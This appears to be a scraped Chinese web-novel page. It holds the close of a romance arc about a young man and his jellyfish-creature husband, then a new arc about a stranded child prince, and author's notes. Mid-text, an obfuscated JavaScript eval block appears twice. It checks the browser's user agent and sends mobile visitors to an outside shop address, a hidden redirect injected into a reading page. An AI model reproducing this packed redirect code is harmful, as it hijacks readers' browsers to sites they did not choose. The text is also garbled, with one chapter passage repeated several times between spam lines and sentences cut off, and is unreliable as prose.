查尔斯提着大包小包的购物袋,从悬浮车上吃力地踱步下来,今天是他的锻炼日。在自家的花园门口,他遇到了那位神秘的,新搬来的邻居。 邻居看起来非常年轻,差不多就是个大学还没毕业的新生,样貌倒是文雅秀气。漆黑的短发,皮肤带着常年不见天日的苍白,眉毛和眼睛都像是墨水描画,看人的时候,就显得目光格外幽深。 查尔斯所在的住宅区依山傍水,汇聚着各式各样的社会名流、上层富豪,可没有哪一个像眼前的青年这般神秘。他刚刚搬来的时候,出于好奇,许多人打探过他的身份,但最终都一无所获,大家至今只知道他的名字是徐久,还有他现在在本地最大的商超里担任试吃员的职务。 听到这个消息时,他和妻子脱口而出的第一句话都是:“这不是开玩笑吧?” 查尔斯是本市知名的油画经销商,他的妻子苏珊也颇有家资,他们的房产前后打点了上百万欧元,才装修得尽善尽美,得以扬眉吐气地傲视左邻右舍。但这个身份未知的青年一搬进来,立刻就成了周围人的热门话题。 明明住在价值百万的豪宅里,自己却跑到人流熙攘的商超里当试吃员?难道他是什么爱好古怪的隐士富翁吗? “你好,查尔斯先生,”徐久友善地打了个招呼,“今天是超市促销日吗?” 查尔斯礼貌地回应:“你好!其实,今天是我家的‘无管家锻炼日’,哈哈,哈……” 他说了个俏皮话,原本指望对方也跟着轻松地笑一笑,但青年只是睁大眼睛,有些莫名地望着他。查尔斯的笑声也变得干巴巴的,为了缓解尴尬的气氛,他立刻转移话题:“今天超市的苹果派很不错,拿去尝尝!” 说着,他热情地把一个沉重的购物袋塞给徐久,徐久急忙推拒:“不不不,这怎么好意思……” “收下吧!”查尔斯愉快地卸下一个负担,“咱们是邻居,当然要相互照应!” 徐久手忙脚乱地捧着购物袋,不好意思地笑了起来。 “那就多谢您了。”他腼腆地说,“我会……我会和我爱人好好尝尝它的。” 爱人? 查尔斯一愣,他的视线往下一瞥,才看见青年左手的无名指上,戴着一枚精巧璀璨的蓝宝石戒指。 年纪轻轻的,他已经结婚了?住进来几个月,我们怎么完全没见过他的“爱人”是什么样子呢? 困惑的经销商站在原地,目送着对方走下小径,打开花园的门。 今日阳光明媚万里无云不知道为什么在那个瞬间奇诡的错觉从查尔斯的心头一闪而逝——那栋和青年一样神秘的宅邸上空似乎笼罩着什么巨大而可怖的阴影等他再细细查看时又缥缈地不见了踪迹。 怪事…… 他嘀咕着转身回家。 没过几天他又在家门口遇到了徐久只不过这次青年是专门为他来的。 “查尔斯先生!”徐久的眼睛亮亮的朝他笑眯眯地挥手“那天的苹果派真的蛮好吃的谢谢你!” 看到他这副孩子气的模样查尔斯觉得很有趣紧接着徐久说:“为表感谢这周六我想请您和您的家人一块用晚餐……可以吗?” 喔!查尔斯愣了一下这倒是个千载难逢的好机会可以好好了解一下他奇怪的邻居。 “可以啊没有问题!”他一口应承下来“周六吗?我一定和太太准时赴约!” 显然苏珊也抱着和他相同的想法。周六傍晚夫妻二人一番打扮带着拜访的小礼物敲开了神秘宅邸的花园大门。 繁盛。 这是夫妻俩对花园的第一印象显而易见邻居家的花园没怎么修整过但无论植被花朵都生长得硕大强健小径的边缘冒着一圈厚厚的苔藓在暮色黄昏的映照下藓叶居然能沁出类似幽蓝的妖冶光泽。 “真了不得……”苏珊低声说“看不出来他丈夫还是个园艺高手呢。” “嘘”查尔斯提醒道“我们从没见过他丈夫万一那是个古怪孤僻的富翁呢?或者说他有什么见不得天日的怪病?在见到真人之前我们只需要礼貌地微笑就好了。” “就你事情多。”苏珊埋怨道。 穿过美丽的小径徐久已经点亮了剔透的玻璃灯温暖的灯光从落地门窗上投射而出他站在门口迎接夫妻俩的到来。 “欢迎欢迎!”他笑得灿烂“我爱人正在厨房请进来坐!” 夫妻俩看得出来这个年轻人十分拘束比起主人他更像是手脚不知道往哪里放的客人。显而易见他很少与外人打交道更遑论邀请外人来家里做客了。 不过他们善意地忽略了这个小问题愉快地走进室内欣赏这间房子的装潢。 “他们是收藏家吗?”苏珊困惑地与丈夫低声交谈“不然这里怎么会摆着那么多沉船古董呢?” 苏珊家学渊源眼光卓绝自然能毫不费力地看出 比。 查尔斯抽抽鼻子,注意到了另一件事:“这是什么香?以前从没闻过。” 他们说话的时候,徐久口中的“爱人”已经从厨房中转出来,立在灯光下,漠然地看着他们。 “哎呀……”苏珊喃喃地说。 查尔斯不怪妻子,因为他自己此刻也是一副没见过世面的乡巴佬模样。 ——徐久的丈夫身量甚高,远超常人,一头长发几乎是水银色的。更重要的是,他的样貌虽然俊美非凡,眉眼却疏离而冰冷。 他不像是活人,更像是一尊雕像,一个有人的外表,但是没有人气的艺术摆设。 他系着围裙,手里还拿着锅铲,手上显眼地佩戴着一枚闪耀火彩的蓝宝石婚戒。可是,如此烟火气十足的扮相,非但没能让他变得亲切,反倒更加衬托出他令人胆寒的某些特质。 “啊,这是我丈夫,”徐久放下礼物,急忙过来介绍,“今晚上的菜都是他做的!” 见到徐久,男人的眉心才轻轻一动,仿佛坚冰消融,在看到徐久的那个瞬间,他眼中一下焕发出闪耀的光彩,眉宇间也流淌出脉脉的爱意。 倘若要查尔斯来形容,这个人简直就像东方神话里的那条画在纸上的龙,一定要徐久为他点睛,他才算真正地活了过来。 这个变化看得夫妻俩目瞪口呆,不知说什么好。 男人弯下腰,先在徐久的嘴唇上吻了一下,又吻了一下,他的吻长久地停驻于丈夫的嘴唇,然后再缠绵地亲到他的喉咙上。他旁若无人地对徐久表示爱意,直亲得青年的脸颊发红,慌里慌张地将他推开。 “我是时夜生。”男人说,一点儿也不窘迫,“我是徐久的丈夫。” 他说得如此坦荡,甚至还带着毫不遮掩的自豪,仿佛他人生中最大的成就,就是拥有了“徐久的丈夫”的头衔似的。 夫妻俩再一次语塞……尽管他们在来之前,便对邻居的古怪性格有所准备,但这会儿真的见到了,还是不免哑口无言。 “……请坐!请坐!”看出客人的不自在,徐久脸色通红,急忙出来打圆场,“请尝尝拙荆……呃,拙夫的手艺……” 夫妻俩只得礼貌地笑一笑,自行落座。作为阅人无数的老练富商,他们却不敢离时夜生太近,这个人身上的一切特质,都令他们第六感的雷达不停尖叫。 这绝对是个危险人物,而且是危险至极的人物。 但出乎意料的,“危险人物”的手艺非常不错。 他们刚一入座,餐盘就像流水般呈上来。 前菜是精致的百合泡芙鱼子酱塔焦糖洋葱和鹅肝酱面包令人食指大动;作为主菜的南蒂罗尔炖菜美味浓郁搭配着香气扑鼻的松茸清汤可谓恰到好处相得益彰;第二道主菜是盐烤海鲈鱼火候拿捏得当完美地衬出了鱼肉的鲜美嫩滑;收尾的甜点则是一道焦香微苦的生巧酒心冰激凌。 对此来做客的人赞不绝口眉毛都要飞到天上去了。 真是了不得的厨艺啊! “我喜欢吃东西他平时就爱捣鼓这些做给我吃。”徐久笑着说“我们搬来这里没多久来不及邀请其他邻居到家里做客……怎么样味道还习惯吗?” “好得不能再好了!”苏珊夸张地举手发誓“时先生的厨艺胜过那些所谓的大厨百倍我还从没见过有哪个家庭煮夫能有时先生这么好的烹饪技术呢!” 听到“家庭煮夫”这个词时夜生的眉毛轻轻一挑显示出颇为得意的样子来。 结束正餐喝着使人微醺的餐后酒大家的话匣子也被打开了。苏珊好奇地问:“原谅我的冒昧我实在好奇你们是什么时候结的婚?” “嗯……”徐久想了下“大概三年前?那时候我们在海上漂泊了七个月一回到陆地上就决定要结婚了。” “哦哦!”查尔斯惊叹“大海上的爱情!与世隔绝的地方爱意总是萌发得特别快对不对?” 徐久笑而不语只有眼底漾起怀念的光晕。 实际情况到底怎么样恐怕只有他和六号知道。 在逃出极地站的几个月里六号就像一艘柔软舒适的小舟载着他在大海上飘飘荡荡水母用口腕过滤淡水带他下到深邃的洋流中捕捉从未见过的缤纷多彩的鱼类。 徐久悄悄地追随过座头鲸的航线 大洋寂寂无声海底波荡着粼粼的幻光从没有哪一刻令他感到如此失神的幸福。 经由六号的治愈和同化徐久已经很能适应一些对普通人来说艰苦卓绝的生存环境了。想念陆地的生活就在浮冰上睡一觉或者找到一座小小的浮岛到上面稍稍躺一躺仰望满天璀璨的星河。 在一些万里无云的日子里徐久第一次知道原来星光也能明亮如斯可以让他在夜里毫不费力地数清爱人的睫毛。 六号下潜到常人无法想象的深度带回许多成熟日久的珍珠贝让徐久可以像开盲盒一样高兴地开一整天珍珠;也领他到那些被风暴和海啸击沉的轮船上寻找还没有被海水完全腐蚀的货币和亮晶晶的小玩意儿。如此无忧无虑地飘荡了五六个月徐久终于玩够了于是六号伏在船只的路线附近带着他上到了一艘观光游轮。 徐久将过去两个月开出来的珍珠捡了捡挑出一些不那么圆润晶莹个头也不够硕大的拿去游轮顶层的赌场置换了一笔资金。其实他也不知道这些珍珠的实际价值但是可以换到两张头等舱的船票他就已经非常开心。六号从不扫他的兴不管他做出的决策正确与否他只是一直跟随在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她仓促地抬头查看,徐久的两只手都放在桌面上,那他腰间是谁的手呢?餐桌是典雅的法式长桌,他们坐得正式,这时候,时夜生距离他可有足足两米啊! 意识到这个事实,她脸色煞白,身体都在打颤。 徐久看出她的不对劲,连忙关切地问:“怎么了?是不是……” 话一出口,他自己似乎也意识到了什么,急忙将手往下一放,似乎是撸掉了什么东西。 “我……我身体突然不太舒服……”苏珊挤出一个勉强的笑,“没关系,也不是大事……” 客人身体不适,当然不能强求他们在这里,于是,晚餐匆匆结束,查尔斯呼叫家庭医生,连连致歉之后,就赶紧带着妻子回去了。 送走今晚的客人之后,徐久无奈地叹了口气。 “你吓到他们了。” 六号才不管这个,没了旁人讨嫌的注视,他马上就肆无忌惮地亲吻起徐久,手臂几乎没有用力,就将人抱到了餐桌上。他深深地,着迷地吻着伴侣的双唇,吮吸他的舌尖。 徐久没办法,被他闹得笑个不停,在啧啧接吻的间隙,他挣扎着探出脑袋,将手指插进六号的长发,气喘吁吁地说:“我们、我们再去海上度假……好不好?” “好,”六号立刻答应,全身的肌肉都在发力,几乎将徐久缠绵地攥进自己的身体里,“好,都听你的。” “那我明天还要吃炸鸡,我还要……”徐久边躲边笑,“还要去游乐园过年假……” 他抓住时机,像条滑不溜手的鱼,从六号的怀抱中挣脱。他们在巢穴里你追我赶,墙纸褪色脱落,化作蜿蜒的触须,徐久躲着这些勾缠自己的水母肢体,一路跑到楼上,六号紧追不舍,将他堵到了卧室。 “明天给你做炸鸡,我们去游乐园过年假。”六号把人严严实实地抱在床上,委屈地说,“你刚刚躲我,我很难过。” 徐久刚要开口,身下忽然翻起一阵异动,他还觉得奇怪,六号掀开一看,只见被子下面藏着一堆小水母,正你推我,我搡你,挤挤攘攘的,“啵啵”地冲着徐久吐泡泡。 徐久终于忍不住了,一下哈哈大笑起来。 在这样一个时刻,窗外的晚风舒朗,吹拂着甜蜜的花园。夜空中银河明亮,群星挤着眼睛,静静地瞧着两个相爱中的傻瓜。 作者有话要说 【感谢大家……!小久和6号的旅途,到这里就告一段落了(合十) 一个单元更完了,明天会休息一天,下个单元是小王子和黑孔雀的专场!关键词青梅竹马,荒野求生(?),大家敬请期待!】 徐久:*肚子饿了,决定撒娇*你要是喜欢我,就给我吃垃圾食品! 巨大水母:*立刻做出一桌汉堡披萨,炸鸡薯条,摆放大量冰镇可乐* 徐久:*无聊了,决定撒娇*你要是喜欢我,就带我去玩! 巨大水母:*立刻包场迪●尼,七十二小时狂欢不停* 徐久:*很满意,继续撒娇*你要是喜欢我,就亲我一…… 巨大水母:*立刻上床* 徐久:*很快就哭了,并且哭得很惨* 第 33 章 净琉璃之国(一) 大荒之地,风雪呼号。 绵延不尽的大雪覆盖了一望无际的旷野,无论群山,江河与溪谷,全然倾覆在皑皑苍茫的白色当中。 这里的落雪已经下了万年之久,冬神玄冥身陨希夷,祂的遗骨坐落大荒之中,如今也已有万年之久了。 暴雪混沌地盘旋,数千年来,北风获得了凌迟一切生灵的强权,它搅动大雪,吹翻浮尘,滚如成千上万匹疯狂的野马,誓要咆哮着吞没世间。 但就在这里,在大荒的雪原上,正艰难地挪动着一个小小的黑点。 ——一团被织物包裹得分不清口鼻,看不明样貌的小玩意儿,正在浩大的风雪里蹒跚前行,走一步,颤一步。 只是他包得再多,裹得再严实,依旧能让人看出半大孩子的体格。荒野广袤,他不比一粒芝麻籽大多少。 巫曦的牙齿咯嘣乱响,浑身发抖,神人的血脉在冻碎心魂的严寒中徒劳燃烧。他的眉毛和睫毛已经成了一簇簇的霜花,额发也敷上了厚厚的冰雪。 他跌跌撞撞地往前挣扎,挤开结实厚重的雪层,顶着呼啸强劲的寒风,缓慢到不能再缓慢地龟速前进。他很想哭,但是他不敢哭,他怕眼泪一沁出眼眶,就要被凝成刺骨的薄冰,他只有用衣物紧紧地缠住脸庞,才能勉强分清面前的方向。 “我不痛,”他带着哭腔对自己说,“我一点都不痛。我是大孩子了……我一点都不痛。” 呵气成冰,滚滚地形成白雾,巫曦一边困苦地踽踽独行,一边絮絮叨叨地给自己加油打气。只是这片无垠的雪原,也不止他一个落难的活物出没。 “神人?” “神人怎么会出现在大荒?” “还是个小崽儿!” “吃了他……我们好久没吃过神人了,都快忘了他们的滋味儿了!” “急什么?神人只有快死的时候才最好吃……他活不过今晚,我们耐心地等一等,又有何妨?” 雪原上妖物汇聚,毫不遮掩地大声低语,计划着如何分割巫曦的血肉。他害怕得要命,急忙伸手攥住腰间的匕首,可他只有两条腿,怎么才能在狂风和大雪中走得更快? 在恐惧与危机的双重威胁下,凭巫曦如何强忍,泪花还是夺眶而出。他抽噎着,拼命揭掉那些立刻结成冰珠的眼泪,像没头苍蝇一样,一股脑地四处乱转。 只是他越哭,从四面八方围拢过来的狞笑和讥讽声越大。巫曦心烦意乱,终于,在茫茫浩大的风雪中,他隐约看到一座小小的雪丘,隆起在平滑如镜的原野上。 那是什么东西? 巫曦不知道,更没法探知,但他直觉地意识到一点,那是个异常的所在。 在一成不变的大荒,异常就意味着机会,不管那是生的机会,还是死的机会。 他决定博一把。 巫曦拼命加快了速度,他连滚带爬地在雪地里翻腾,最后,几乎在厚厚的雪堆里游起泳来了。那些妖兽似乎也意识到了什么,纷纷掀起尖啸的动静。 “他要跑!” “他要钻进那里头!” “拦住他,吃了他!” 巫曦咬紧牙关,他忘记酷寒,忘记极度的低温是如何像钢刀一样剜剐自己的皮肉,一心一意地向着那个小雪丘钻过去。头顶风声阵阵,他拼命下潜到雪里,躲过了一下空袭。 近了,已经很接近了! 妖兽在空中喧嚣地大叫,用翅膀掀起咆哮的风浪,这不仅将巫曦直接吹得飞了出来,也令他离目的地更进一步。 巫曦降落在雪地上,没有丝毫喘息的时机,只听上方再次传来凌厉的风声。他下意识俯身,肩膀还是被什么沉重的东西擦过,瞬间的巨力,令他就像一个轻飘飘的,纸做的玩偶,“扑”地飞出去十多米远,栽倒在雪地中。 许是巫曦此刻一心只想着一个目标,当下居然没感觉到什么受击的痛楚。情急之下,他的脑子转得很快,赶不及爬起来,立刻四肢并用地挖进雪地,像一只咕涌钻地的小动物,冒死游向雪丘的位置。 巫曦刨开积雪,忽而惊喜地发现,这不是雪丘,而是一栋被雪掩埋的陈旧木屋! 他的手上绽放出断断续续的火光,巫曦使劲弹崩生锈的门锁,一把拉开房门,纵身滚落进去,用已经肿起来的肩膀死死抵住门板。门外,妖兽正卷起狂浪的雪潮,铺天盖地地朝这间小得可怜,也简陋得可怜的木屋吞没过去。 “这里从此就是我的家了!”他抱着头,闭着眼睛大声叫喊,“没有我的准许,谁也不能进来!” 奇异的事发生了。 随着他脱口而出的话语,古奥玄妙的咒纹盘旋而出,淡淡的金光沁透每一隙漏风的墙缝,也漫过顶上早已朽烂的茅草。 这光比玻璃还要薄脆,却将足以撼动山岳的巨力牢牢挡在翻飞的落雪之外。妖兽的每一次挥击,每一次重砸,全被消弭成了轻飘飘的巴掌印,有气无力地拍在木墙上。 巫曦瘫坐在地上,长长地出了一口气。 “竟是长留国的崽子……” “他是少昊的后裔?” “晦气!真晦气 !” 妖兽们大声叫骂,只是奈何不得钻进木屋的小小神人。连番挑衅、叫嚷过后,便悻悻地高飞起来,继续寻找下一个猎物去了。 巫曦紧紧裹着厚重的织物,目光呆滞,一声不吭地发着抖,直到门外的动静逐渐远去,只剩下风雪的啸声。 数万年后,大荒的诸天神佛尽皆远去,徒留神人代代繁衍,代代式微,在这片无垠无尽的大地上困难地夹缝生存。 巫曦正是长留国最小的王子,而长留国的神人独有的天赋,名为“守生”。只要长留人认定了所处的封闭空间是“家”,那么无论这个空间有多脆弱不堪——不管它是恢宏的宫室,还是一个破烂的竹筐——长留人认定的家,都一定会护佑他们的周全。 长留人是帝少昊的后裔,但伟大先祖的高贵血脉,早已在岁月中稀释得微薄,赐予他们的诸多神异本领,也早就在连年的战乱中失传,到头来,也只剩下这一个保命的能力,护持着长留国的神人子民,保佑他们不被肆虐的妖兽吞噬。 巫曦年逾十四,少而好动,秉性活泼,虽然是家中最小的儿子,可由于生母的缘故,他并不受长留王的喜爱,时常遭受父亲斥责。一月前,他又在宫中被父亲训诫,心里难过,因此准备驾驶云车,前往相邻的神人国游玩散心。 两地相距千里,按照云车的速度,来一日,去一日就行。但巫曦没想到的是,走到半途中,他的车驾就被不明人士袭击。那些人显然非常了解长留人的特性,先在云车外杀光了他本就不多的随从护卫,随后封死云车,令其调转方向,还十分歹毒地往里面塞了一大把灵石作为动力源。 就这样,巫曦被困在云车里,自己出不去,外头的人也进不来。 他想尽一切办法,但到底只是十四岁的孩子,对比神人长达上千年的寿命,此刻的他无力得像个婴孩,也只能任由云车一路破空,向不知名的方向驶去。 二十多天后,云车的动力耗尽,坠毁在大荒雪原上,撞碎了外头的封印。巫曦则死里逃生,被迫卷起一切能够用于御寒的布料,他在茫茫雪原中跋涉了数日,终究是上天垂怜,总算找到了这样一间可以用来安身立命的木屋。 就在一月前,巫曦还是长留国的小王子,一月之后,他却只能流落大荒,缩在陈旧简陋的木屋里瑟瑟发抖。这其中天差地别的境遇,又岂是人力可以想象的? 巫曦抽了抽鼻子,守生的效果逐渐在这间小屋里显现,周遭的气温渐渐回暖,也不再是可以立刻冷死人的极寒了。 当然,他肩膀上的 外伤也慢慢化冻,火辣辣的疼痛,这会儿才迟钝地蔓延上大脑。 巫曦终于哭了起来。 这一个月来的害怕、焦虑、惊惧、疲劳、饥饿、痛苦……此刻全然化作眼泪,从眼眶里喷涌而出。他哇哇大哭了好一阵,直哭得涕泪交加,把整张脸都弄得湿漉漉,凉冰冰,他才抽噎着胡乱揩掉脸上的水痕,慢慢坐直身体。 “哭了、哭了这一次,就不能再哭了,”他一下一下地抽着气,严肃地告诫自己,“寻死觅活的,像什么样子!” 好容易平复心情,巫曦小心翼翼地解开身上的织物,往后背探手一摸。 好消息是,他的骨头没有断,坏消息是,挫伤有点严重。 先前,他卷走了所有能带的物资,包括云车上轻纱曼舞的窗帘,这时便派上用场了。巫曦把这些轻飘飘的鲛绡当做纱布,单手缠住自己的肩膀。接着,他咬牙使劲,把绷带绑紧,暂作固定。 他的手法干脆利落,带着与年龄不符的纯熟,盖因他的生母乃是药师国人,巫曦纵使不算耳濡目染,也在医药方面别有天赋。 他咽了咽喉咙,用指尖点起一簇灵火,环顾木屋的构造。 不出所料,非常简陋。 这座木屋应当是大雪还未覆盖到这里时,上山的樵夫搭建的,只是所用的建材坚韧不凡,才能支撑到现在。屋子里的空气古旧,带着股异样的酸味儿,一张垒实的木床,就占据了木屋一半的面积,床上尽是腐烂的茅草棉絮,还有一堆褴褛粗布。 旁边是架一人多高的木柜,巫曦一瘸一拐地走过去看,上面倒是撂着两个瓷碗,一枚瓷盘,一些零散的餐具,右侧放着剪刀、锉刀和凿子,最下面堆着一口陶锅,一个瓦罐,一个陈旧的木桶,并一个生火的锅架。 意外之喜,用具还算齐全。 巫曦转过脸,看见另一边支着张小桌子,桌上一盏蜡油干枯的小灯,下面是三条腿的小圆板凳,墙角还立着把铲子。 这些用具,再加上一堆布料,以及十三岁生日时大妃赠予的匕首,便是巫曦此刻全部的财产了。 不算很好,可是,也不算太糟糕。 巫曦又累又饿,他来不及思索究竟是谁害了自己,更没有力气再挪动一步,去外面寻找水和食物。他把木床上的烂草和破布全都扫到地下,不管怎么说,这些天来,他首次找到了一个安稳的港湾,一张可以任意躺下,而不用担心酷寒与掠食者的床铺。 屋外狂风萧索,大雪翻飞,屋内寂然无声,巫曦一头栽倒在坚硬的床板上,裹着御寒的布帛,顷刻间就睡死了过去。 作者有话要说 【新的单元!这章发300个小红包,热烈欢迎大家陪伴可怜小孩度过荒野求生之旅(擦眼泪)】 巫曦:*快乐地驾车,快乐地行驶在天空上*我独自驾车,独自外出,去一个离家千里的别国,能有什么风险呢? 不知名的敌人:*突然出现*啊哈! 巫曦:*流落荒野,被雪狂砸*我独自赶路,独自用毯子把自己包成卷饼,能有什么风险呢? 不知名的妖兽:*突然出现*啊哈! 巫曦:*哭了,再也不会感到快乐* 听说看这本书的人都是很幸运的,分享后你的运气会更棒 外伤也慢慢化冻,火辣辣的疼痛,这会儿才迟钝地蔓延上大脑。 巫曦终于哭了起来。 这一个月来的害怕、焦虑、惊惧、疲劳、饥饿、痛苦……此刻全然化作眼泪,从眼眶里喷涌而出。他哇哇大哭了好一阵,直哭得涕泪交加,把整张脸都弄得湿漉漉,凉冰冰,他才抽噎着胡乱揩掉脸上的水痕,慢慢坐直身体。 “哭了、哭了这一次,就不能再哭了,”他一下一下地抽着气,严肃地告诫自己,“寻死觅活的,像什么样子!” 好容易平复心情,巫曦小心翼翼地解开身上的织物,往后背探手一摸。 好消息是,他的骨头没有断,坏消息是,挫伤有点严重。 先前,他卷走了所有能带的物资,包括云车上轻纱曼舞的窗帘,这时便派上用场了。巫曦把这些轻飘飘的鲛绡当做纱布,单手缠住自己的肩膀。接着,他咬牙使劲,把绷带绑紧,暂作固定。 他的手法干脆利落,带着与年龄不符的纯熟,盖因他的生母乃是药师国人,巫曦纵使不算耳濡目染,也在医药方面别有天赋。 他咽了咽喉咙,用指尖点起一簇灵火,环顾木屋的构造。 不出所料,非常简陋。 这座木屋应当是大雪还未覆盖到这里时,上山的樵夫搭建的,只是所用的建材坚韧不凡,才能支撑到现在。屋子里的空气古旧,带着股异样的酸味儿,一张垒实的木床,就占据了木屋一半的面积,床上尽是腐烂的茅草棉絮,还有一堆褴褛粗布。 旁边是架一人多高的木柜,巫曦一瘸一拐地走过去看,上面倒是撂着两个瓷碗,一枚瓷盘,一些零散的餐具,右侧放着剪刀、锉刀和凿子,最下面堆着一口陶锅,一个瓦罐,一个陈旧的木桶,并一个生火的锅架。 意外之喜,用具还算齐全。 巫曦转过脸,看见另一边支着张小桌子,桌上一盏蜡油干枯的小灯,下面是三条腿的小圆板凳,墙角还立着把铲子。 这些用具,再加上一堆布料,以及十三岁生日时大妃赠予的匕首,便是巫曦此刻全部的财产了。 不算很好,可是,也不算太糟糕。 巫曦又累又饿,他来不及思索究竟是谁害了自己,更没有力气再挪动一步,去外面寻找水和食物。他把木床上的烂草和破布全都扫到地下,不管怎么说,这些天来,他首次找到了一个安稳的港湾,一张可以任意躺下,而不用担心酷寒与掠食者的床铺。 屋外狂风萧索,大雪翻飞,屋内寂然无声,巫曦一头栽倒在坚硬的床板上,裹着御寒的布帛,顷刻间就睡死了过去。 作者有话要说 【新的单元!这章发300个小红包,热烈欢迎大家陪伴可怜小孩度过荒野求生之旅(擦眼泪)】 巫曦:*快乐地驾车,快乐地行驶在天空上*我独自驾车,独自外出,去一个离家千里的别国,能有什么风险呢? 不知名的敌人:*突然出现*啊哈! 巫曦:*流落荒野,被雪狂砸*我独自赶路,独自用毯子把自己包成卷饼,能有什么风险呢? 不知名的妖兽:*突然出现*啊哈! 巫曦:*哭了,再也不会感到快乐* 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 外伤也慢慢化冻,火辣辣的疼痛,这会儿才迟钝地蔓延上大脑。 巫曦终于哭了起来。 这一个月来的害怕、焦虑、惊惧、疲劳、饥饿、痛苦……此刻全然化作眼泪,从眼眶里喷涌而出。他哇哇大哭了好一阵,直哭得涕泪交加,把整张脸都弄得湿漉漉,凉冰冰,他才抽噎着胡乱揩掉脸上的水痕,慢慢坐直身体。 “哭了、哭了这一次,就不能再哭了,”他一下一下地抽着气,严肃地告诫自己,“寻死觅活的,像什么样子!” 好容易平复心情,巫曦小心翼翼地解开身上的织物,往后背探手一摸。 好消息是,他的骨头没有断,坏消息是,挫伤有点严重。 先前,他卷走了所有能带的物资,包括云车上轻纱曼舞的窗帘,这时便派上用场了。巫曦把这些轻飘飘的鲛绡当做纱布,单手缠住自己的肩膀。接着,他咬牙使劲,把绷带绑紧,暂作固定。 他的手法干脆利落,带着与年龄不符的纯熟,盖因他的生母乃是药师国人,巫曦纵使不算耳濡目染,也在医药方面别有天赋。 他咽了咽喉咙,用指尖点起一簇灵火,环顾木屋的构造。 不出所料,非常简陋。 这座木屋应当是大雪还未覆盖到这里时,上山的樵夫搭建的,只是所用的建材坚韧不凡,才能支撑到现在。屋子里的空气古旧,带着股异样的酸味儿,一张垒实的木床,就占据了木屋一半的面积,床上尽是腐烂的茅草棉絮,还有一堆褴褛粗布。 旁边是架一人多高的木柜,巫曦一瘸一拐地走过去看,上面倒是撂着两个瓷碗,一枚瓷盘,一些零散的餐具,右侧放着剪刀、锉刀和凿子,最下面堆着一口陶锅,一个瓦罐,一个陈旧的木桶,并一个生火的锅架。 意外之喜,用具还算齐全。 巫曦转过脸,看见另一边支着张小桌子,桌上一盏蜡油干枯的小灯,下面是三条腿的小圆板凳,墙角还立着把铲子。 这些用具,再加上一堆布料,以及十三岁生日时大妃赠予的匕首,便是巫曦此刻全部的财产了。 不算很好,可是,也不算太糟糕。 巫曦又累又饿,他来不及思索究竟是谁害了自己,更没有力气再挪动一步,去外面寻找水和食物。他把木床上的烂草和破布全都扫到地下,不管怎么说,这些天来,他首次找到了一个安稳的港湾,一张可以任意躺下,而不用担心酷寒与掠食者的床铺。 屋外狂风萧索,大雪翻飞,屋内寂然无声,巫曦一头栽倒在坚硬的床板上,裹着御寒的布帛,顷刻间就睡死了过去。 作者有话要说 【新的单元!这章发300个小红包,热烈欢迎大家陪伴可怜小孩度过荒野求生之旅(擦眼泪)】 巫曦:*快乐地驾车,快乐地行驶在天空上*我独自驾车,独自外出,去一个离家千里的别国,能有什么风险呢? 不知名的敌人:*突然出现*啊哈! 巫曦:*流落荒野,被雪狂砸*我独自赶路,独自用毯子把自己包成卷饼,能有什么风险呢? 不知名的妖兽:*突然出现*啊哈! 巫曦:*哭了,再也不会感到快乐* 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 外伤也慢慢化冻,火辣辣的疼痛,这会儿才迟钝地蔓延上大脑。 巫曦终于哭了起来。 这一个月来的害怕、焦虑、惊惧、疲劳、饥饿、痛苦……此刻全然化作眼泪,从眼眶里喷涌而出。他哇哇大哭了好一阵,直哭得涕泪交加,把整张脸都弄得湿漉漉,凉冰冰,他才抽噎着胡乱揩掉脸上的水痕,慢慢坐直身体。 “哭了、哭了这一次,就不能再哭了,”他一下一下地抽着气,严肃地告诫自己,“寻死觅活的,像什么样子!” 好容易平复心情,巫曦小心翼翼地解开身上的织物,往后背探手一摸。 好消息是,他的骨头没有断,坏消息是,挫伤有点严重。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12871410|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 先前,他卷走了所有能带的物资,包括云车上轻纱曼舞的窗帘,这时便派上用场了。巫曦把这些轻飘飘的鲛绡当做纱布,单手缠住自己的肩膀。接着,他咬牙使劲,把绷带绑紧,暂作固定。 他的手法干脆利落,带着与年龄不符的纯熟,盖因他的生母乃是药师国人,巫曦纵使不算耳濡目染,也在医药方面别有天赋。 他咽了咽喉咙,用指尖点起一簇灵火,环顾木屋的构造。 不出所料,非常简陋。 这座木屋应当是大雪还未覆盖到这里时,上山的樵夫搭建的,只是所用的建材坚韧不凡,才能支撑到现在。屋子里的空气古旧,带着股异样的酸味儿,一张垒实的木床,就占据了木屋一半的面积,床上尽是腐烂的茅草棉絮,还有一堆褴褛粗布。 旁边是架一人多高的木柜,巫曦一瘸一拐地走过去看,上面倒是撂着两个瓷碗,一枚瓷盘,一些零散的餐具,右侧放着剪刀、锉刀和凿子,最下面堆着一口陶锅,一个瓦罐,一个陈旧的木桶,并一个生火的锅架。 意外之喜,用具还算齐全。 巫曦转过脸,看见另一边支着张小桌子,桌上一盏蜡油干枯的小灯,下面是三条腿的小圆板凳,墙角还立着把铲子。 这些用具,再加上一堆布料,以及十三岁生日时大妃赠予的匕首,便是巫曦此刻全部的财产了。 不算很好,可是,也不算太糟糕。 巫曦又累又饿,他来不及思索究竟是谁害了自己,更没有力气再挪动一步,去外面寻找水和食物。他把木床上的烂草和破布全都扫到地下,不管怎么说,这些天来,他首次找到了一个安稳的港湾,一张可以任意躺下,而不用担心酷寒与掠食者的床铺。 屋外狂风萧索,大雪翻飞,屋内寂然无声,巫曦一头栽倒在坚硬的床板上,裹着御寒的布帛,顷刻间就睡死了过去。 作者有话要说 